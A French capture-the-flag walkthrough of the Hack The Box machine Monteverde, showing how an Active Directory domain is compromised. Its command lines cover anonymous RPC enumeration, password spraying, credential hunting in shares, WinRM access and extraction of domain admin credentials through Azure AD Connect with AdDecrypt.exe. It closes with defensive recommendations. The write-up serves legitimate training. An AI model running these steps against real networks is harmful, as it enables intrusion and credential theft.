Compromission Active Directory – Le cas de la Box Monteverde de Hack The Box
Sommaire
I. Présentation
Dans cet article, je vous propose la résolution de la machine Hack The Box Monteverde, de difficulté "Medium". Cet exercice vous montrera un exemple très concret et plutôt réaliste de compromission d'un Active Directory et donc d'un domaine dans un réseau d'entreprise.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
| Technologies abordées | Windows, Active Directory, Azure/Entra ID, Azure AD Connect |
| Outils utilisés | nmap, rpcclient, smbmap, evil-winrm, AdDecrypt.exe |
Retrouvez tous nos articles Hack The Box via ce lien :
II. Résolution de la box Monteverde
A. Découverte et énumération
Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery
$ nmap -sC -sV -T4 --max-retries 1 10.10.10.172 --open -Pn
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-25 10:31:23Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrappedLes services exposés sont caractéristiques d'un Active Directory. En ce qui concerne l'énumération, la phase de reconnaissance et toutes celles qui suivent, on peut se baser sur différentes méthodologies. Néanmoins, je vous recommande celle construite et publiée par Orange Cyberdéfense au travers son AD Mindmap : Orange Cyberdefense AD Mindmap.
Retrouvez notre cours complet sur Nmap sur lien suivant :
Parmi les premiers éléments à analyser sur tout service et tout système : l'authentification anonyme !
Technique d'attaque (MITRE ATT&CK) : T1110.001 - Brute Force: Password Guessing
$ sudo rpcclient -U "%" 10.10.10.172Le service RPC est vulnérable à l'authentification anonyme. Il faut savoir que sur un Active Directory, le service RPC peut être utilisé notamment pour récupérer la liste complète des utilisateurs, plutôt intéressant pour un attaquant qui n'avait jusque-là aucune information sur sa cible :
Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account
B. Premier accès à l'Active Directory
À présent, nous avons plusieurs logins utilisateurs valides. Il faut maintenant trouver un mot de passe valide ou un compte pour lequel aucune authentification n'est demandée. Nous allons pour cela utiliser la technique du password spraying, qui consiste à tester un seul mot de passe par compte utilisateur. Ainsi, nous allons éviter de lever des alertes de sécurité ou bloquer les comptes ciblés si une politique de verrouillage est en place.
Contrairement à une attaque par password spraying classique, dans laquelle l'attaquant teste le même mot de passe pour tous les logins cibles, nous allons ici modifier un peu l'attaque. Pour chaque compte, nous allons tenter une authentification avec le login utilisateur comme mot de passe. Cette technique, nommée user as pass, est très souvent fructueuse sur les Active DIrectory d'entreprise, souvent volumineux et avec un certain historique.
Pour réaliser cette attaque, nous allons utiliser le module "scanner/smb/smb_login" du framework d'exploitation "metasploit" :
Technique d'attaque (MITRE ATT&CK) : T1110.003 - Brute Force: Password Spraying
Nous venons de trouver un login vulnérable au user as pass ! Comme indiqué plus haut, cette vulnérabilité est très fréquente ! Par manque de temps ou négligence, un administrateur fini toujours par créer un compte de test ou de service avec un tel mot de passe, qu'il oublie de supprimer ou modifier. Facteur aggravant, si le compte n'est utilisé qu'une ou deux fois (classique pour un compte de test), les politiques de mots de passe paramétrées après la création ne s'appliquent pas au compte. Ainsi, le mot de passe faible persiste alors longtemps au sein de l'Active Directory.
À présent, nous allons utiliser ce compte pour voir à quel répertoire partagé il a accès sur l'Active Directory. Nous utilisons pour cela l'outil "smbmap" :
Technique d'attaque (MITRE ATT&CK) : T1135 - Network Share Discovery
$ smbmap -u SABatchJobs -p SABatchJobs -d MEGABANK.LOCAL0 -H 10.10.10.172
[+] IP: 10.10.10.172:445 Name: 10.10.10.172
ADMIN$ NO ACCESS Remote Admin
azure_uploads EEAD ONLY
C$ NO ACCESS Default share
E$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
users$ READ ONLY Au-delà des répertoires classiques pour un Active Directory que sont "SYSVOL" et "NETLOGON", dont il faut toujours parcourir le contenu avec attention, nous avons également des droits de lecture sur le répertoire "user$". À présent, nous allons partir à la rechercher de données sensibles dans ces répertoires, et ce de façon automatisée.
Nous allons utiliser "manspider", un outil qui permet la recherche de fichiers et informations à partir des éléments paramétrés (nom, extension, contenu). Nous rechercherons dans un premier temps la présence du mot "password" dans les fichiers accessibles en lecture des partages :
manspider 10.10.10.172 -d megabank.local -u SABatchJobs -p SABatchJobs --content "password"Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files
Après quelques secondes de recherches, "manspider" nous ressort une information intéressante : un mot de passe dans le dossier de l'utilisateur "mhope":
Testons directement ces identifiants sur tous les services exposés du système cible :
Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management
*Evil-WinRM* PS C:\Users\mhope> type Desktop/user.txt
4961976b[REDACTED]212f2L'utilisateur doit faire partir du groupe "Windows Remote Management", celui-ci peut s'authentifier sur le service winRM de la cible.
C. Attaque sur Azure AD Connect
Pour débuter notre phase de découverte avec ce nouvel identifiant, voyons s'il est membre de groupes intéressants :
Technique d'attaque (MITRE ATT&CK) : T1087.004 - Account Discovery: Cloud Account
whoami /allVoici un extrait du retour de cette commande :
Nous pouvons fois que l'utilisateur "mhope" fait partie du groupe "CN=Azure Admins,OU=Groups,DC=MEGABANK,DC=LOCAL". À quoi ce groupe peut-il bien servir au sein d'un environnement Windows ? Si l'on s'intéresse aux applications installées sur le système, nous pouvons également remarquer la présence d'un service Azure AD Connect :
Il s'agit du service en charge de la synchronisation des données entre l'Active Directory On Premise (celui de votre système d'information) et votre tenant Azure AD/Entra ID. Celui-ci a donc pour mission de synchroniser les identités (et donc, les mots de passe) entre ces deux environnements, il manipule forcément des données intéressantes pour un attaquant.
Pour en savoir plus sur le rôle d'Azure AD Connect, je vous oriente vers cet article :
Pour exploiter le service Azure AD Connect, je me suis basé sur ce blogpost : Azure AD Connect Database Exploit (Priv Esc). Le lien entre la présence d'un Azure AD Connect sur un système et le bon blogpost ou exploit à utiliser, peut ici ne pas paraitre évident. Nous pouvons notamment voir que le blogpost date de janvier 2020. Si l'on regarde la date d'installation d'Azure AD Connect, notamment via les binaires du répertoire d'installation, nous voyons que ceux-ci datent de 2018 :
Ce blogpost explique donc comment récupérer les identifiants stockés et mal protégés dans la base de données (SQLExpress) d'Azure AD Connect. Il faut pour cela disposer d'un accès privilégié au serveur hébergeant l'application, ce qui est notre cas. On récupère donc le binaire en question :
Technique d'attaque (MITRE ATT&CK) : T1588.002 - Obtain Capabilities: Tool
$ wget https://github.com/VbScrub/AdSyncDecrypt/releases/download/v1.0/AdDecrypt.zip
$ unzip AdDecrypt.zip
Archive: AdDecrypt.zip
inflating: AdDecrypt.exe
inflating: mcrypt.dll Technique d'attaque (MITRE ATT&CK) : T1608.002 - Stage Capabilities: Upload Tool
Puis, on le dépose sur le système via "evil-winRM" :
*Evil-WinRM* PS C:\Users\mhope\Documents> upload /tmp/AdDecrypt.exe
*Evil-WinRM* PS C:\Users\mhope\Documents> upload /tmp/mcrypt.dllTechnique d'attaque (MITRE ATT&CK) : T1068 - Exploitation for Privilege Escalation
Après avoir déposé le binaire sur le système via evil-winRM, il nous suffit de l'exécuter afin de récupérer les identifiants sensibles stockés dans la base de données d'AzureAD Connect :
*Evil-WinRM* PS C:\Users\mhope\Documents> cd "C:\Program Files\Microsoft Azure AD Sync\bin"
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> c:\users\mhope\AdDecrypt.exe -FullSQLVoici la sortie de cette commande, qui nous permet de retrouver les identifiants de l'administrateur du domaine :
Nous pouvons donc réutiliser ces identifiants pour s'authentifier sur n'importe quel service du domaine :
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
| TTP (MITRE ATT&CK) | Détails |
| T1046 - Network Service Discovery | Découverte des services exposés via scan réseau "nmap" |
| T1110.001 - Brute Force: Password Guessing | Accès au service RPC en accès anonyme via "rpcclient" |
| T1087.002 - Account Discovery: Domain Account | Récupération de la liste des utilisateurs de l'Active Directory via le service RPC avec "rpcclient" |
| T1110.003 - Brute Force: Password Spraying | Réalisation d'une attaque user as pass et compromission d'un compte utilisateur ("SABatchJobs") via l'outil "metasploit" |
| T1135 - Network Share Discovery | Découverte des partages réseau accessibles en tant qu'utilisateur authentifié sur le domaine ("SABatchJobs") |
| T1552.001 - Unsecured Credentials: Credentials In Files | Recherche et découverte du mot de passe de l'utilisateur "mhope" dans un fichier via "manspider" |
| T1021.006 - Remote Services: Windows Remote Management | Accès au service "winRM" du système via "evil-winrm" |
| T1087.004 - Account Discovery: Cloud Account | Découverte des groupes d'appartenance de l'utiliasteur "mhope" |
| T1588.002 - Obtain Capabilities: Tool | Récupération d'un binaire d'exploitation depuis Internet |
| Dépôt de l'exploit "AdDcrypt.exe" sur le système via winRM | |
| T1068 - Exploitation for Privilege Escalation | Exploitation du service Azure AD Connect pour récupérés les identifiants stockés en base de donnés |
IV. Notions abordées
A. Côté attaquant
Le début de ce chemin d'attaque est assez classique et réaliste, la découverte de services acceptant l'accès anonyme suivi de la compromission de comptes à mot de passe faible au sein de l'Active Directory est une voie très courante. Également, la recherche automatisée de données sensibles dans les partages de fichiers est une opération à ne pas sous-estimer. Plus l'attaquant a accès à des répertoires et partages réseau, plus il est susceptible d'y trouver des informations sensibles (mots de passe, mais aussi configurations, clés ou documents métiers).
En tant qu'attaquant, nous tirons parti de la difficulté pour les équipes opérationnelles de vérifier le contenu des fichiers déposés par les utilisateurs, mais aussi la complexité de gérer les permissions d'accès aux différents partages réseau et répertoires. Bien souvent, un simple accès authentifiés au domaine avec un utilisateur ne faisant partie d'aucun groupe "métier" permet tout de même d'accéder à des centaines de répertoires et des milliers de fichiers.
Ici, l'important pour l'attaquant est de savoir s'outiller pour automatiser cette tâche fastidieuse mais souvent fructueuses, tout en sachant adapter ces outils à ce qu'il cherche. Ainsi, la majorité des outils permettent d'être configurés finement pour chercher parfois des extensions, parfois des noms de fichier ou encore un mot de précis dans ces fichiers.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : renforcer l'authentification sur le service RPC. Il est recommandé d'interdire tout accès anonyme aux services exposés sur le réseau. Ainsi, la configuration du service RPC doit être durcie pour n'autoriser l'accès qu'aux utilisateurs authentifiés.
Recommandatoin n°2 : il est recommandé de passer en revue les comptes utilisateurs du domaine afin de vérifier que tous ont un mot de passe qui respecte les bonnes pratiques de sécurité et la politique de mot de passe. Cette vérification peut être effectuée par une revue et un durcissement de la politique de mot de passe suivi d'un renouvellement forcé du mot de passe des utilisateurs. Cette méthode permettra notamment de découvrir les comptes non utilisés (mot de passe non renouvelé) ainsi que les comptes de services qui nécessiteront un renouvellement manuel ou une désactivation.
Recommandation n°3 : il est recommandé de sensibiliser les utilisateurs aux bonnes pratiques de gestion des mots de passe. Cela afin d'éviter que des mots de passe ne se retrouvent stockés en clair dans des fichiers. Également, il est recommandé d'effectuer des analyses régulières d'informations sensibles dans les fichiers à l'aide d'outils comme Snaffler ou ManSpider. Cette recommandation fait notamment echo à la directive n°2 du Guide d'hygiène de l'ANSSI : Sensibiliser les utilisateurs aux bonnes pratiques élémentaires de sécurité informatique.
Recommandation n°4 : il est recommandé de positionner le service Azure AD Connect sur un système dédié à cette application et non sur l'Active Directory. Notamment afin que les attaques ou dysfonctionnement de l'un n'affecte pas l'autre.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!
Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy
